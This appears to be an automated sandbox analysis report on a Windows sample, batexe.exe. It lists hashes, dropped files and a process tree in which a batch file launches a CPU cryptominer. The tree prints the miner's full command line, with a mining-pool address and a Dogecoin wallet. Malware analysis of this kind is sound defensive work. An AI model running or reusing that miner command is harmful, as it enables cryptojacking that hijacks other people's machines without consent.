73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22/02/2024, 05:26

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1260	b2e.exe
3864	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3864	cpuminer-sse2.exe
3864	cpuminer-sse2.exe
3864	cpuminer-sse2.exe
3864	cpuminer-sse2.exe
3864	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3288-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3288 wrote to memory of 1260	3288	batexe.exe	74
PID 3288 wrote to memory of 1260	3288	batexe.exe	74
PID 3288 wrote to memory of 1260	3288	batexe.exe	74
PID 1260 wrote to memory of 1180	1260	b2e.exe	75
PID 1260 wrote to memory of 1180	1260	b2e.exe	75
PID 1260 wrote to memory of 1180	1260	b2e.exe	75
PID 1180 wrote to memory of 3864	1180	cmd.exe	78
PID 1180 wrote to memory of 3864	1180	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3288
- C:\Users\Admin\AppData\Local\Temp\B314.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B314.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B314.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1260
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B594.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1180
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B314.tmp\b2e.exe

Filesize
6.4MB

MD5
4f7f69275c69ae9c7465de6ade1e57c5

SHA1
2c8c470f382f2f68519a61800bb7646cfbc06a9c

SHA256
1d1a38feebf98d876038ac08880893470f1ba2f5d922cc81a1829227f7c6f3c5

SHA512
bcf429e0e666e90ac8b51a00a5d5003794d40df13c2c8d5f4870d04c8036c21095798ab64821a4c02718427080044becd9972aa52c9b24b925ec504b84eebb4b

Download Submit
C:\Users\Admin\AppData\Local\Temp\B314.tmp\b2e.exe

Filesize
6.4MB

MD5
fe6ad10ec46e9b08bc8a79e6b8b37e01

SHA1
a332652d3538f1bad9c19d68d469b1c7d1ee75e2

SHA256
a27282f45db7b3b156f6a4a2f2274eba361716f0c7053b1afe5c581bfe99b91e

SHA512
614bd4d8220dbb1af18738adff40c6ad048a96a79a87120efa0fa6e924b695fb9f4b1aa1d1aef387e4b4646a78c281088062f9dab08fbf24aa2eec33dd12d103

Download Submit
C:\Users\Admin\AppData\Local\Temp\B594.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
448KB

MD5
ca0b33f54480aa9c590d09f72e3feb31

SHA1
d50dc7dd964feb0d7516c3037e7dc7e008420ae5

SHA256
67833a9e63d8b7469a3a3415124a2426893a6174ce2bd88bea520c68319d182d

SHA512
266dcd9c5bfe2b117fda6bf7c4250a908233d8474bd0b09596a0bd0fa2e5bc75446a20b46cb7e516ef75b5661bbe16c714e8dcc5962a0f481cbaecdf6135affd

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
512KB

MD5
a879c5fd4613dca566d5b1a782690dd5

SHA1
41c6063b0f0dee953e99713a5326856b55e08366

SHA256
3ee76359d6802a8fe11c5b144e18ffd3833bc7b49d66f190621d41e41ea0fc20

SHA512
e20f8f40822ca215c75767b8d4102583cfb3812c74dbc064a8619f214c164ab94da6bee0ae42c794a0af1847ff30c295b34d3015f87bfe597dba80339871ea96

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
448KB

MD5
19a61444b6e2d01755ede80960bca19c

SHA1
e0c7222784d3e2b3329ec3280648b17fd60ef209

SHA256
13fd488b38f3b75438e9ad0a033df005cd397f3c92f43275714a0a7eb3fb4db8

SHA512
bc02c82bdac19f10f3e3a93d3f507bb7838c9255b7cff5af6e3a7f3b471dae9c45c52728c3c23857b3402dd1702cb51a20f225a4da992c26a997c26d86b6b1d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
448KB

MD5
8185100383d0fe360c9198e5a883b08d

SHA1
ab398c469573f8e84d3cfcef01287a0604d6ab5f

SHA256
05ef7288b0d559bf67c3d69c201da9bdcaed0b49ecc538640f7b96c5b82eb538

SHA512
24930ef0caa1f2db2ed60f7dfdb832a172cf7747b0a336b051f73c0087a5f2fabff721487cb49cf5a3bc2be5426554b0a3a0e51541b6a4ca735646af24f1404a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
448KB

MD5
ca123cec7f705c0af114e462349dc686

SHA1
75f90b4d95f6774b2f66e4ba790755ef118ab222

SHA256
7f141cdc0be9c965e21310bcfb0484b20d31ffd8a6a970f8b5a53c0e8974798a

SHA512
650125faa9ae6733f1118caf3101ca6850473f78f9bfc3a87e908eac1c69935e3bc269ffb5de4dd6e867429c1af35c7f3b9e62eb698fa7c9695d68e7115f3f1c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
256KB

MD5
eca0c37eee65c31b869788d5d0bf00cd

SHA1
33a5c0cd2f0a7296a5c0169699ed8e065b57e5e8

SHA256
1d2b7bd4ddd99d627d5111252baadf028dc9910cf414892867502e5951de962e

SHA512
5f302da7772fca0a6d03ffd8732850f526acf5fcc33e189d2d906a33101454d970d5cca2f829a006d15c4a857341d72c7876cb2e7af84ada4f158695aba5a4dc

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
256KB

MD5
11e8812bfa1d698cdeb73a16c1d7c963

SHA1
e8708fd452ab5946b380d0c353ac26acf289e548

SHA256
e0f9ddf8afd30511763f0cf792369e32c955f15d9529c00c5fe9298a80d74402

SHA512
fd54c9c6f3520b2ced6b42235ebfce6d8b622c53f1fbf810baace657a7d44430968b5ff90cd1d860dbdf7550dd8cd467636c862ff0dd0832f25145efccc7731e

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
320KB

MD5
e63bf5df87e2ea807dc353cc5aa9aab1

SHA1
69fc94bbebe878711cb133c3a1affb80c0bdecff

SHA256
2c9d6315f90367b959d3c32badd99bbc03eb808e4a46db72ccf2e81788b41533

SHA512
70f2b2a8a4c8ab23d81266cd23b75c27ced29a1eab8c80d95c57b595b10254b7229cc03b637716edbfad2a83827f2c557847b98d1de80256beec05c9512ee4bd

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
192KB

MD5
62069650d62f76a4cdf0e81172d99993

SHA1
3b20ec5b4a4320ee15b0f7b9715a9ab90f68346e

SHA256
779a5590c667d9a704b79e159259c0646737394fd66a9c0b12d13f9445ca091c

SHA512
ae1954a84fb7543465e77a4cd5cc1bdeee0cf848592958633e6c51702b42131daae64c302d5c9537c59a9b3ba9498e5bf913d1f6f757ccdb8c4183b33224852b

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
155KB

MD5
af9d781a120c82c7d432ca8ffddba516

SHA1
d1bffb551bbfd6c38901b4d16647770126b68c94

SHA256
624dba5a1abea089e3c0cd5bebbd7a4c669a2ffb190043250e665aae2d6a41a4

SHA512
06684ff1df4c5091462099d05a5d4e0cb78518879cef389c38faabe5b0d04a9c4d802f3ff4162e65c4eae715e23bc1f482b100b70c6a3486dc1f7b8dbeab16e6

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
192KB

MD5
625f906456510afaf916dd0384d76eee

SHA1
66c56574aff02fb199caa60ab71ca9f1c9e7fc92

SHA256
27baaef233592b03722c7d64c26d2270c0300ffb8e7f08a8e0d65212af4b848d

SHA512
041399c5ddc614d8b1a359238df8fb09258c95a0013e5139dbf4093b892395f5f78fa31fbecfee92966c5e78a5c5894005c98e559b8b5735ecf9c1995df51b17

Download Submit
memory/1260-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1260-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3288-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3864-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3864-43-0x000000005BBB0000-0x000000005BC48000-memory.dmp

Filesize
608KB

Download
memory/3864-44-0x0000000001060000-0x0000000002915000-memory.dmp

Filesize
24.7MB

Download
memory/3864-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3864-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download